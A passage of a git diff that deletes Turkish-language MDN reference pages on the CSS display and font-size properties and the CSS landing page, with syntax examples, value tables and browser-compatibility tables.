href="/tr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Farklı metin yönleri kullanma</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Overflowing_content">Taşan içerik</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Values_and_units">Değerler ve birimler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS'de elemanların boyutları</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Görseller, medya ve form öğeleri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Styling_tables">Tabloları şekillendirme</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS'de hata ayıklama</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Organizing">CSS'inizi düzenleme</a></li> -</ol> diff --git a/files/tr/web/css/display/index.html b/files/tr/web/css/display/index.html deleted file mode 100644 index 2b26ff1cd5..0000000000 --- a/files/tr/web/css/display/index.html +++ /dev/null @@ -1,446 +0,0 @@ ---- -title: display -slug: Web/CSS/display -tags: - - CSS - - CSS özelliği - - Referans -translation_of: Web/CSS/display ---- -<div>{{CSSRef}}</div> - -<h2 id="Özet">Özet</h2> - -<p><strong><code>display</code> </strong>özelliği, bir eleman için kullanılan kutu görüntüleme türünü belirler. HTML'de, varsayılan <code>display</code> değeri, daha önceden belirlenmiş HTML spesifikasyonlarından ya da tarayıcı/kullanıcı varsayılan stil şablonundan alınır. XML'de varsayılan <code>display</code> değeri <code>inline</code>'dır.</p> - -<p>Bir çok farklı kutu görüntüleme tipi olmasıyla birlikte, <code>none </code>değeri bir elementi görüntülemeye kapatır, bu değeri kullandığınızda, bütün alt elemanlar da görüntülenmezler. Belge, o eleman yokmuş gibi görüntülenir.</p> - -<p>{{cssinfo}}</p> - -<h2 id="Sözdizimi_kuralları">Sözdizimi kuralları</h2> - -<pre class="brush:css">display: none; -display: inline; -display: block; -display: inline-block; -display: contents; -display: list-item; -display: inline-list-item; -display: table; -display: inline-table; -display: table-cell; -display: table-column; -display: table-column-group; -display: table-footer-group; -display: table-header-group; -display: table-row; -display: table-row-group; -display: table-caption; -display: flex; -display: inline-flex; -display: grid; -display: inline-grid; -display: ruby; -display: ruby-base; -display: ruby-text; -display: ruby-base-container; -display: ruby-text-container; -display: run-in; - -/* Global values */ -display: inherit; -display: initial; -display: unset; -</pre> - -<h3 id="Değerler">Değerler</h3> - -<p><em><strong>display-value </strong></em>bir elementin görüntülenme biçimini tanımlamak için kullanılan bir değerdir.</p> - -<dl> - <dd> - <table class="standard-table"> - <thead> - <tr> - <td class="header" colspan="1">Değer kümesi</td> - <td class="header">Değer</td> - <td class="header">Tanım</td> - </tr> - </thead> - <tbody> - <tr> - <td colspan="1" rowspan="4">Basic values (CSS 1)</td> - <td><code>none</code></td> - <td> - <p>Elementi görüntülemeye kapatır.(Tasarım değişikliğe uğramaz.);bütün alt elementler de görüntülenmez. Belge, bu element yokmuş gibi davranır.</p> - - <p>Görüntülemeye kapadığınız elementin kutu boyutlarının halen tasarımda var olmasını istiyorsanız {{cssxref("visibility")}} özelliğine gözatın.</p> - </td> - </tr> - <tr> - <td><code>inline</code></td> - <td>bir veya daha fazla satıriçi kutusu oluşturur.</td> - </tr> - <tr> - <td><code>block</code></td> - <td>blok element kutusu oluşturur.</td> - </tr> - <tr> - <td><code>list-item</code></td> - <td>Element içerik için bir blok kutusu oluşturur, ve içeriği listeye ayırır.</td> - </tr> - <tr> - <td>Gelişletilmiş değerler (CSS 2.1)</td> - <td><code>inline-block</code></td> - <td>inline-block değeri, kendisini çevreleyen bir block element alanı oluşturur.</td> - </tr> - <tr> - <td colspan="1" rowspan="10">Table model değerler (CSS 2.1)</td> - <td><code>inline-table</code></td> - <td><code>inline-table </code>değeri HTML üzerinde direkt olarak bir mapping'e sahip değildir. {{HTMLElement("table")}} HTML elementi gibi davranır ancak farklı olarak, block elementi değil, inline-block özelliklerini taşır.</td> - </tr> - <tr> - <td><code>table</code></td> - <td>Bu elementler block {{HTMLElement("table")}} gibi davranır.</td> - </tr> - <tr> - <td><code>table-caption</code></td> - <td>Bu elementler {{HTMLElement("caption")}} HTML elementler gibi davranır.</td> - </tr> - <tr> - <td><code>table-cell</code></td> - <td>Bu elementler {{HTMLElement("td")}} gibi davranır..</td> - </tr> - <tr> - <td><code>table-column</code></td> - <td>Bu elementler {{HTMLElement("col")}} gibi davranır.</td> - </tr> - <tr> - <td><code>table-column-group</code></td> - <td>Bu elementler {{HTMLElement("colgroup")}} gibi davranır.</td> - </tr> - <tr> - <td><code>table-footer-group</code></td> - <td>Bu elementler {{HTMLElement("tfoot")}} gibi davranır.</td> - </tr> - <tr> - <td><code>table-header-group</code></td> - <td>Bu elementler {{HTMLElement("thead")}} gibi davranır.</td> - </tr> - <tr> - <td><code>table-row</code></td> - <td>Bu elementler {{HTMLElement("tr")}} gibi davranır.</td> - </tr> - <tr> - <td><code>table-row-group</code></td> - <td>Bu elementler {{HTMLElement("tbody")}} gibi davranır.</td> - </tr> - <tr> - <td colspan="1">CSS3 liste değerleri (<a href="/en-US/docs/CSS/CSS3" title="CSS3">CSS3</a>)</td> - <td><a href="https://drafts.csswg.org/css-lists/#valdef-display-inline-list-item">inline-list-item</a></td> - <td>The inline-list-item display value makes the element a list item, with the effects described above. Additionally, the outside value of list-style-position computes to inside on this element. Otherwise, this display value is treated identically to inline.</td> - </tr> - <tr> - <td colspan="1" rowspan="2">Flexbox model değerleri (<a href="/en-US/docs/CSS/CSS3" title="CSS3">CSS3</a>)</td> - <td><code>flex</code></td> - <td>Element, block elementi gibi davranır ve flexbox modeline uygun olarak görünür.</td> - </tr> - <tr> - <td><code>inline-flex</code></td> - <td>Element inline element gibi davranır ve flexbox modeline uygun olarak görünür.</td> - </tr> - <tr> - <td colspan="1" rowspan="2">Grid box model değerleri (<a href="/en-US/docs/CSS/CSS3" title="CSS3">CSS3</a>) {{experimental_inline}}</td> - <td><code>grid</code></td> - <td> - <p>Element, block elementi gibi davranır ve<br> - grid modeline uygun olarak görünür.</p> - - <div class="note">Deneyimlenebileceği üzere, <a href="/en-US/docs/CSS/display#Browser_Compatibility" title="https://developer.mozilla.org/en/CSS/display#Browser_Compatibility">çoğu tarayıcı henüz desteklememektedir</a>. Özellikle <code>-moz-grid</code> 'in display:grid'e ait bir prefix olmadığını belirtmeliyiz. -moz-grid <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=616605#c10" title="https://bugzilla.mozilla.org/show_bug.cgi?id=616605#c10">XUL layout model</a> 'de belirtilen ve kullanmamanız gereken bir prefix'tir.</div> - </td> - </tr> - <tr> - <td><code>inline-grid</code></td> - <td>Element inline element gibi davranır ve grid modeline bağlı olarak içeriği kapsar.</td> - </tr> - <tr> - <td colspan="1" rowspan="5">Ruby formatting model values (<a href="/en-US/docs/CSS/CSS3" title="CSS3">CSS3</a>){{experimental_inline}}</td> - <td><code>ruby</code></td> - <td>Element inline element gibi davranır ve<br> - içeriği ruby format modelinde kapsar {{HTMLElement("ruby")}} gibi davranır.</td> - </tr> - <tr> - <td><code>ruby-base</code></td> - <td>Bu elementler {{HTMLElement("rb")}} gibi davranır.</td> - </tr> - <tr> - <td><code>ruby-text</code></td> - <td>Bu elementler {{HTMLElement("rt")}} gibi davranır</td> - </tr> - <tr> - <td><code>ruby-base-container</code></td> - <td>These elements behave like {{HTMLElement("rbc")}} elements generated as anonymous boxes.</td> - </tr> - <tr> - <td><code>ruby-text-container</code></td> - <td>These elements behave like {{HTMLElement("rtc")}} elements.</td> - </tr> - <tr> - <td colspan="1" rowspan="2">Experimental values {{experimental_inline}}</td> - <td><code>run-in</code></td> - <td> - <ul> - <li>If the run-in box contains a block box, same as block.</li> - <li>If a block box follows the run-in box, the run-in box becomes the first inline box of the block box.</li> - <li>If an inline box follows, the run-in box becomes a block box.</li> - </ul> - </td> - </tr> - <tr> - <td><code>contents</code></td> - <td>These elements don't produce a specific box by themselves. They are replaced by their pseudo-box and their child boxes.</td> - </tr> - </tbody> - </table> - </dd> -</dl> - -<h3 id="Formal_syntax">Formal syntax</h3> - -{{csssyntax}} - -<h2 id="Examples">Examples</h2> - -<p><a href="/samples/cssref/display.html">View Live Examples</a></p> - -<pre class="brush: css">p.secret { display: none } -<p style="display:none"> invisible text </p> -</pre> - -<h2 id="Specifications" name="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('CSS3 Lists', '#valdef-display-inline-list-item', 'display')}}</td> - <td>{{Spec2('CSS3 Lists')}}</td> - <td>Added the inline-list-item values.</td> - </tr> - <tr> - <td>{{SpecName('CSS3 Display', '#the-display-properties', 'display')}}</td> - <td>{{Spec2('CSS3 Display')}}</td> - <td>Added the <code>run-in</code> and <code>contents</code> values.</td> - </tr> - <tr> - <td>{{SpecName('CSS3 Ruby', '#ruby-display', 'display')}}</td> - <td>{{Spec2('CSS3 Ruby')}}</td> - <td>Added the <code>ruby</code>, <code>ruby-base</code>, <code>ruby-text</code>, <code>ruby-base-container</code>, and <code>ruby-text-container </code></td> - </tr> - <tr> - <td>{{SpecName('CSS3 Grid', '#grid-containers', 'display')}}</td> - <td>{{Spec2('CSS3 Grid')}}</td> - <td>Added the grid box model values.</td> - </tr> - <tr> - <td>{{SpecName('CSS3 Flexbox', '#flex-containers', 'display')}}</td> - <td>{{Spec2('CSS3 Flexbox')}}</td> - <td>Added the flexible box model values.</td> - </tr> - <tr> - <td>{{SpecName('CSS2.1', 'visuren.html#display-prop', 'display')}}</td> - <td>{{Spec2('CSS2.1')}}</td> - <td>Added the table model values and <code>inline-block<em>.</em></code></td> - </tr> - <tr> - <td>{{SpecName('CSS1', '#display', 'display')}}</td> - <td>{{Spec2('CSS1')}}</td> - <td>Initial definition. Basic values: <code>none</code>, <code>block</code>, <code>inline</code>, and <code>list-item</code>.</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari (WebKit)</th> - </tr> - <tr> - <td><code>none</code>, <code>inline</code> and <code>block</code></td> - <td>1.0</td> - <td>{{CompatGeckoDesktop("1.0")}}</td> - <td>4.0</td> - <td>7.0</td> - <td>1.0 (85)</td> - </tr> - <tr> - <td><code>inline-block</code></td> - <td>1.0</td> - <td>{{CompatGeckoDesktop("1.9")}}</td> - <td>5.5 [4]</td> - <td>7.0</td> - <td>1.0 (85)</td> - </tr> - <tr> - <td><code>list-item</code></td> - <td>1.0</td> - <td>{{CompatGeckoDesktop("1.0")}}</td> - <td>6.0</td> - <td>7.0</td> - <td>1.0 (85)</td> - </tr> - <tr> - <td>inline-list-item</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}} [6]</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - </tr> - <tr> - <td rowspan="2"><code>run-in</code> {{experimental_inline}}</td> - <td>1.0 [5]</td> - <td rowspan="2">{{CompatNo}}</td> - <td rowspan="2">8.0</td> - <td rowspan="2">7.0</td> - <td>1.0 (85) [5]</td> - </tr> - <tr> - <td> - <p>4.0</p> - - <p>Removed in 32</p> - </td> - <td> - <p>5.0 (532.5)</p> - - <p>Removed in 8.0</p> - </td> - </tr> - <tr> - <td><code>inline-table</code></td> - <td>1.0</td> - <td>{{CompatGeckoDesktop("1.9")}}</td> - <td>8.0</td> - <td>7.0</td> - <td>1.0 (85)</td> - </tr> - <tr> - <td><code>table</code>, <code>table-cell</code>, <code>table-column</code>, <code>table-column-group</code>, <code>table-header-group</code>, <code>table-row-group</code>, <code>table-footer-group</code>, <code>table-row</code>, and <code>table-caption</code></td> - <td>1.0</td> - <td>{{CompatGeckoDesktop("1.0")}}</td> - <td>8.0</td> - <td>7.0</td> - <td>1.0 (85)</td> - </tr> - <tr> - <td><code>flex</code></td> - <td>21.0{{property_prefix("-webkit")}}</td> - <td>{{CompatGeckoDesktop("18.0")}} [1]<br> - {{CompatGeckoDesktop("20.0")}}</td> - <td>11</td> - <td>12.50</td> - <td>6.1{{property_prefix("-webkit")}}</td> - </tr> - <tr> - <td><code>inline-flex</code></td> - <td>21.0{{property_prefix("-webkit")}}</td> - <td>{{CompatGeckoDesktop("18.0")}} [1]<br> - {{CompatGeckoDesktop("20.0")}}</td> - <td>11</td> - <td>12.50</td> - <td>6.1{{property_prefix("-webkit")}}</td> - </tr> - <tr> - <td><code>grid</code> {{experimental_inline}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatNo}}</td> - <td>10.0{{property_prefix("-ms")}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - </tr> - <tr> - <td><code>inline-grid</code> {{experimental_inline}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatNo}}</td> - <td>10.0{{property_prefix("-ms")}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - </tr> - <tr> - <td><code>ruby</code>, <code>ruby-base</code>, <code>ruby-text</code>, <code>ruby-base-container</code>, <code>ruby-text-container</code> {{experimental_inline}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatGeckoDesktop("34.0")}} [3]</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - </tr> - <tr> - <td><code>contents</code> {{experimental_inline}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatGeckoDesktop("37")}} [2]</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Phone</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>4.4</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>7.0{{property_prefix("-webkit")}}</td> - </tr> - </tbody> -</table> -</div> - -<p>[1] To activate flexbox support, for Firefox 18 and 19, the user has to change the about:config preference "layout.css.flexbox.enabled" to <code>true</code>. Multi-line flexbox are supported since Firefox 28.</p> - -<p>[2] In Firefox 36, it the preference governing this feature was off by default.</p> - -<p>[3] CSS Ruby support is behind pref "layout.css.ruby.enabled". The user has to change this pref to true to activate this.</p> - -<p>[4] Natural inline elements only</p> - -<p>[5] Not before inline-elements</p> - -<p>[6] See {{bug(1105868)}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{Cssxref("visibility")}}, {{Cssxref("float")}}, {{Cssxref("position")}}</li> - <li>{{Cssxref("flex")}}</li> -</ul> diff --git a/files/tr/web/css/font-size/index.html b/files/tr/web/css/font-size/index.html deleted file mode 100644 index 89ce88d475..0000000000 --- a/files/tr/web/css/font-size/index.html +++ /dev/null @@ -1,239 +0,0 @@ ---- -title: font-size -slug: Web/CSS/font-size -tags: - - CSS Fontlar - - CSS özelliği - - Referans -translation_of: Web/CSS/font-size ---- -<div>{{CSSRef}}</div> - -<p><span class="seoSummary"><strong><code>font-size</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a>'in bir özelliği olup yazı boyutunu ayarlar.</span> This property is also used to compute the size of <code>em</code>, <code>ex</code>, and other relative {{cssxref("<length>")}} units.</p> - -<div>{{EmbedInteractiveExample("pages/css/font-size.html")}}</div> - - - -<h2 id="Syntax">Syntax</h2> - -<pre class="brush:css no-line-numbers notranslate">/* <absolute-size> values */ -font-size: xx-small; -font-size: x-small; -font-size: small; -font-size: medium; -font-size: large; -font-size: x-large; -font-size: xx-large; -font-size: xxx-large; - -/* <relative-size> values */ -font-size: smaller; -font-size: larger; - -/* <length> values */ -font-size: 12px; -font-size: 0.8em; - -/* <percentage> values */ -font-size: 80%; - -/* Global values */ -font-size: inherit; -font-size: initial; -font-size: unset; -</pre> - -<p>The <code>font-size</code> property is specified in one of the following ways:</p> - -<ul> - <li>As one of the <a href="#absolute-size">absolute-size</a> or <a href="#relative-size">relative-size</a> keywords</li> - <li>As a <code><length></code> or a <code><percentage></code>, relative to the parent element's font size</li> -</ul> - -<h3 id="Değerler">Değerler</h3> - -<dl> - <dt id="absolute-size"><code>xx-small</code>, <code>x-small</code>, <code>small</code>, <code>medium</code>, <code>large</code>, <code>x-large</code>, <code>xx-large</code>, <code>xxx-large</code></dt> - <dd>Absolute-size keywords, based on the user's default font size (which is <code>medium</code>).</dd> - <dt id="relative-size"><code>larger</code>, <code>smaller</code></dt> - <dd>Relative-size keywords. The font will be larger or smaller relative to the parent element's font size, roughly by the ratio used to separate the absolute-size keywords above.</dd> - <dt id="<length>">{{cssxref("<length>")}}</dt> - <dd> - <p>A positive {{cssxref("<length>")}} value. For most font-relative units (such as <code>em</code> and <code>ex</code>), the font size is relative to the parent element's font size.</p> - - <p>For font-relative units that are root-based (such as <code>rem</code>), the font size is relative to the size of the font used by the {{HTMLElement("html")}} (root) element.</p> - </dd> - <dt id="<percentage>">{{cssxref("<percentage>")}}</dt> - <dd> - <p>A positive {{cssxref("<percentage>")}} value, relative to the parent element's font size.</p> - </dd> -</dl> - -<div class="note"> -<p><strong>Note:</strong> To maximize accessibility, it is generally best to use values that are relative to the user's default font size.</p> -</div> - -<h3 id="Formal_syntax">Formal syntax</h3> - -{{csssyntax}} - -<h2 id="Açıklama">Açıklama</h2> - -<p>There are several ways to specify the font size, including with keywords or numerical values for pixels or ems. Choose the appropriate method based on the needs for the particular web page.</p> - -<h3 id="Anahtar_Kelimeler">Anahtar Kelimeler</h3> - -<p>Keywords are a good way to set the size of fonts on the web. By setting a keyword font size on the {{HTMLElement("body")}} element, you can set relative font-sizing everywhere else on the page, giving you the ability to easily scale the font up or down on the entire page accordingly.</p> - -<h3 id="Pixels">Pixels</h3> - -<p>Setting the font size in pixel values (<code>px</code>) is a good choice when you need pixel accuracy. A px value is static. This is an OS-independent and cross-browser way of literally telling the browsers to render the letters at exactly the number of pixels in height that you specified. The results may vary slightly across browsers, as they may use different algorithms to achieve a similar effect.</p> - -<p>Font sizing settings can also be used in combination. For example, if a parent element is set to <code>16px</code> and its child element is set to <code>larger</code>, the child element displays larger than the parent element in the page.</p> - -<div class="note"><strong>Note:</strong> Defining font sizes in <code>px</code> is <em><a href="https://en.wikipedia.org/wiki/Web_accessibility">not accessible</a></em>, because the user cannot change the font size in some browsers. For example, users with limited vision may wish to set the font size much larger than the size chosen by a web designer. Avoid using them for font sizes if you wish to create an inclusive design.</div> - -<h3 id="Ems">Ems</h3> - -<p>Another way of setting the font size is with <code>em</code> values. The size of an <code>em</code> value is dynamic. When defining the <code>font-size</code> property, an <code>em</code> is equal to the font size of the element on which the <code>em</code> is used. If you haven't set the font size anywhere on the page, then it is the browser default, which is often 16px. So, by default 1em = 16px, and 2em = 32px. If you set a <code>font-size</code> of 20px on the body element, then 1em = 20px and 2em = 40px. Note that the value 2 is essentially a multiplier of the current em size.</p> - -<p>In order to calculate the em equivalent for any pixel value required, you can use this formula:</p> - -<pre class="brush: plain notranslate">em = desired element pixel value / parent element font-size in pixels</pre> - -<p>For example, suppose the font-size of the body of the page is set to 16px. If the font-size you want is 12px, then you should specify 0.75em (because 12/16 = 0.75). Similarly, if you want a font size of 10px, then specify 0.625em (10/16 = 0.625); for 22px, specify 1.375em (22/16).</p> - -<p>The em is a very useful unit in CSS, since it automatically adapts its length relative to the font that the reader chooses to use.</p> - -<p>One important fact to keep in mind: em values compound. Take the following HTML and CSS:</p> - -<pre class="brush: css notranslate">html { - font-size: 62.5%; /* font-size 1em = 10px on default browser settings */ -} -span { - font-size: 1.6em; -}</pre> - -<pre class="brush: html notranslate"><div> -<span>Outer <span>inner</span> outer</span> -</div> -</pre> - -<p>The result is:</p> - -<p>{{EmbedLiveSample("Ems", 400, 40)}}</p> - -<p>Assuming that the browser's default <code>font-size</code> is 16px, the words “outer” would be rendered at 16px, but the word “inner” would be rendered at 25.6px. This is because the inner {{HTMLElement("span")}}'s <code>font-size</code> is 1.6em which is relative to its parent's <code>font-size</code>, which is in turn relative to its parent's <code>font-size</code>. This is often called <strong>compounding</strong>.</p> - -<h3 id="Rems">Rems</h3> - -<p><code>rem</code> values were invented in order to sidestep the compounding problem. <code>rem</code> values are relative to the root <code>html</code> element, not the parent element. In other words, it lets you specify a font size in a relative fashion without being affected by the size of the parent, thereby eliminating compounding.</p> - -<p>The CSS below is nearly identical to the previous example. The only exception is that the unit has been changed to <code>rem</code>.</p> - -<pre class="brush: css notranslate">html { - font-size: 62.5%; /* font-size 1em = 10px on default browser settings */ -} -span { - font-size: 1.6rem; -} -</pre> - -<p>Then we apply this CSS to the same HTML, which looks like this:</p> - -<pre class="brush: html notranslate"><span>Outer <span>inner</span> outer</span></pre> - -<p>{{EmbedLiveSample("Rems", 400, 40)}}</p> - -<p>In this example, the words “outer inner outer” are all displayed at 16px (assuming that the browser's <code>font-size</code> has been left at the default value of 10px).</p> - -<h2 id="Örnekler">Örnekler</h2> - -<h3 id="Örnek_1">Örnek 1</h3> - -<pre class="brush: css notranslate">/* Paragraf boyutunu çok büyük yapar */ -p { font-size: xx-large; } - -/* <h1> etiketininin boyutunu kendisini kaplayan - etikete göre 2.5 kat daha büyük yapar */ -h1 { font-size: 250%; } - -/* span etiketiyle çevrelenmiş yazının boyutu 16px yapar */ -span { font-size: 16px; } -</pre> - -<h3 id="Örnek_2">Örnek 2</h3> - -<h4 id="CSS">CSS</h4> - -<pre class="brush: css notranslate">.small { - font-size: xx-small; -} -.larger { - font-size: larger; -} -.point { - font-size: 24pt; -} -.percent { - font-size: 200%; -} -</pre> - -<h4 id="HTML">HTML</h4> - -<pre class="brush: html notranslate"><h1 class="small">Small H1</h1> -<h1 class="larger">Larger H1</h1> -<h1 class="point">24 point H1</h1> -<h1 class="percent">200% H1</h1></pre> - -<h4 id="Sonuç">Sonuç</h4> - -<p>{{EmbedLiveSample('Example_2','600','200')}}</p> - -<h2 id="Notlar">Notlar</h2> - -<p><code>em</code> and <code>ex</code> units on the {{cssxref("font-size")}} property are relative to the parent element's font size (unlike all other properties, where they're relative to the font size on the element). This means <code>em</code> units and percentages do the same thing for {{cssxref("font-size")}}.</p> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('CSS4 Fonts', '#font-size-prop', 'font-size')}}</td> - <td>{{Spec2('CSS4 Fonts')}}</td> - <td>Adds <code>xxx-large</code> keyword.</td> - </tr> - <tr> - <td>{{SpecName('CSS3 Fonts', '#font-size-prop', 'font-size')}}</td> - <td>{{Spec2('CSS3 Fonts')}}</td> - <td>No change.</td> - </tr> - <tr> - <td>{{SpecName('CSS2.1', 'fonts.html#propdef-font-size', 'font-size')}}</td> - <td>{{Spec2('CSS2.1')}}</td> - <td>No change.</td> - </tr> - <tr> - <td>{{SpecName('CSS1', '#font-size', 'font-size')}}</td> - <td>{{Spec2('CSS1')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<p>{{cssinfo}}</p> - -<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> - -<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div> - -<p>{{Compat("css.properties.font-size")}}</p> diff --git a/files/tr/web/css/index.html b/files/tr/web/css/index.html deleted file mode 100644 index f1cd50e15c..0000000000 --- a/files/tr/web/css/index.html +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: 'CSS: Cascading Style Sheets (Basamaklı Stil Sayfaları)' -slug: Web/CSS -tags: - - CSS - - CSS3 - - HTML - - Referans - - Stil - - Stil Sayfası - - Tasarım - - Yerleşim -translation_of: Web/CSS ---- -<p>{{CSSRef}}</p> - -<p><span class="seoSummary">Bir <a href="/tr/docs/DOM/stylesheet">stylesheet</a> (şablon-stil) dili olup, çoğu zaman CSS olarak kısaltılan <strong>Cascading Style Sheets</strong>, <a href="/tr/docs/HTML" title="The HyperText Mark-up Language">HTML</a> ya da <a href="https://developer.mozilla.org/tr/docs/XML">XML</a> ile yazılmış (<a href="https://developer.mozilla.org/tr/docs/Web/SVG">SVG </a>ya da <a href="https://developer.mozilla.org/tr/docs/Glossary/XHTML">XHTML</a> gibi çeşitli XML dillerini içeren) belgelerin sunumları tanımlamak için kullanılır. CSS, yapılandırılmış elemanların ekranda, kağıt üzerinde, konuşmada yahut diğer medya aygıtlarında nasıl ifade edileceğini belirler. </span></p> - -<p><strong>CSS</strong>, <em>open web'</em>in temel dillerinden biridir ve <a href="http://w3.org/Style/CSS/#specs">W3C standartlarına</a> sahiptir. CSS1, CSS2.1, CSS3 hakkında bir şeyler duymuş olabilirsiniz. Ancak CSS4 hiçbir zaman resmi bir sürüm haline gelmedi.</p> - -<p>CSS3'ün, kapsamı önemli ölçüde arttı ve farklı CSS modüllerindeki ilerleme o kadar farklı olmaya başladı ki, <a href="https://www.w3.org/Style/CSS/current-work">önerileri modül başına ayrı ayrı geliştirmek ve yayınlamak</a> daha etkili hale geldi. W3C, CSS spesifikasyonunu veriyonlama yerine periyodik olarak <a href="https://www.w3.org/TR/css/">CSS spesifikasyonunun en son kararlı sürümünün</a> anlık görüntüsünü alıyor..</p> - -<section id="sect1"> -<ul class="card-grid"> - <li><span>CSS Referansı</span> - - <p>Deneyimli Web Geliştiricileri için CSS'in her özellik ve konseptini tanımlayan kapsamlı bir <a href="/tr/docs/Web/CSS/Reference">referans</a>.</p> - </li> - <li><span>CSS Dersi</span> - <p>Tüm yeni başlayanlara yardım için bir <a href="/tr/docs/Web/Guide/CSS/Getting_started" title="tr/docs/CSS/Getting_Started">adım adım giriş </a>kısmı. Bu kısım, ihtiyaç duyulabilecek tüm temel bilgileri içerir.</p> - </li> - <li><span>CSS3 Örnekleri</span> - <p>CSS teknolojilerini bir aksiyon içinde gösteren bir <a href="/tr/demos/tag/tech:css3" title="https://developer.mozilla.org/tr/demos/tag/tech:css3">demo kolleksiyonu</a> ki yaratıcılık için destekleyicidir.</p> - </li> -</ul> - -<div class="callout"> -<h3 id="Bir_front-endArayüz_geliştiricisimi_olmak_istiyorsunuz">Bir front-end(Arayüz) geliştiricisimi olmak istiyorsunuz?</h3> - -<p>Hedefinize ulaşabilmeniz için ihtiyacınız olan tüm temel bilgileri içeren bir kurs hazırladık.</p> - -<p><a class="cta primary" href="/docs/Learn/Front-end_web_developer">Buradan Başlayın</a></p> -</div> - -<div class="row topicpage-table"> -<div class="section"> -<h2 class="Documentation" id="Eğitim_Aşamaları">Eğitim Aşamaları</h2> - -<p>Bu <a href="/tr/docs/Learn/CSS">CSS Eğitimi</a> CSS'i sıfırdan öğreten birden fazla modül içerir — önceden bilmeniz gerekmez.</p> - -<dl> - <dt><a href="/tr/docs/Learn/CSS/First_steps">CSS'ye ilk adım</a></dt> - <dd>CSS (Cascading Style Sheets), Web sayfalarını biçimlendirmek ve düzenlemek için kullanılır. Örneğin: içeriğinizin yazı tipini, rengini, boyutunu ve aralığını değiştirmek, birden çok sütuna bölmek veya animasyonlar ve diğer dekoratif özellikler eklemek için kullanılır.</dd> - <dd>Bu adımda CSS'in nasıl çalıştığı, sözdiziminin neye benzediği ve bunu HTML sayfalarına stil ekleyebilmek için nasıl kullanmaya başlayabileceğinizle ilgili temel bilgiler verir. </dd> - <dt><a href="/tr/docs/Learn/CSS/Building_blocks">CSS'in yapı taşları</a></dt> - <dd> - <p class="summary">Bu adım <a href="/tr/docs/Learn/CSS/First_steps">ilk adımın</a> kaldığı yerden devam ediyor — artık dile ve sözdizimine aşına oldunuz ve onu kullanma konusunda biraz temel deyim kazandınız, biraz daha derine dalma zamanı. Bu adım, kalıtıma, sahip oluduğunuz tüm seçici türlerine, birimlere, boyutlandırmaya, arka planların ve kenarlıkların stilini belirleme, hata ayıklama ve çok daha fazlasını inceler.</p> - - <p class="summary">Buradaki amak, size daha etkili CSS yazmak için bir araç seti sağlamak ve <a href="/tr/docs/Learn/CSS/Styling_text">metin şekillendirme</a> ve <a href="/tr/docs/Learn/CSS/CSS_layout">CSS düzeni</a> gibi daha özgül kurallara geçmeden önce tüm temel kavramları anlamanıza yardımcı olmaktır.</p> - </dd> - <dt><a href="/tr/docs/Learn/CSS/Styling_text">Metin stilini belirleme</a></dt> - <dd>CSS dilinin temelleri ele alındığında, odaklanmanız gereken bir sonraki CSS konusu, CSS ile yapacağınız en yaygın şeylerden biri olan metnin stilini oluşturmaktır. Burada yazı tipi, kalınlık, italik, satır ve harf aralığı, alt gölgeler ve diğer metin özelliklerini ayarlama dahil olmak üzere metin şekillendirme temellerine bakıyoruz. Sayfanıza özel yazı tiplerini, listeleri ve bağlantıları şekillendirmeye bakarak bu konuyu tamamlıyoruz.</dd> - <dt><a href="/tr/docs/Learn/CSS/CSS_layout">CSS düzeni</a></dt> - <dd>Bu noktaya kadar CSS'in temellerini, metnin nasıl stilize edileceğini ve içeriğinizin içinde bulunduğu kutuları nasıl biçimlendirip değiştireceğinizi inceledik. Bundan sonra, kutularınızı görüntü alanındaki diğer bileşenler ile doğru yere nasıl yerleştireceğinize 